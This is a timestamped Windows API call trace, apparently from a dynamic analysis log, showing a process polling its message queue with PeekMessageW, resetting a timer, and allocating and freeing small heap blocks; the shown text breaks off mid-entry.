PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.893] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.894] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.895] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.896] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.897] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.898] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.007] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.008] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.009] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.301] TranslateMessage (lpMsg=0xbdf794) returned 0 [0136.301] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0136.301] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0136.301] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0136.302] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.302] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0136.302] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.302] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0136.302] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.302] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.302] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.302] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.302] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0136.302] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0136.302] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.303] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0136.303] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0136.303] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.303] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.303] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0136.303] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0136.304] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0136.304] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.304] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0136.305] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0136.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0136.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0136.305] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0136.305] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0136.305] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0136.305] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0136.305] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.306] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0136.306] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.306] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0136.306] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0136.306] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.306] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.306] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0136.306] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0136.306] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0136.306] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.307] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0136.307] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.307] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0136.307] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0136.307] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0136.307] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0136.307] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0136.307] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0136.307] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0136.307] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.308] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0136.308] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0136.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0136.308] 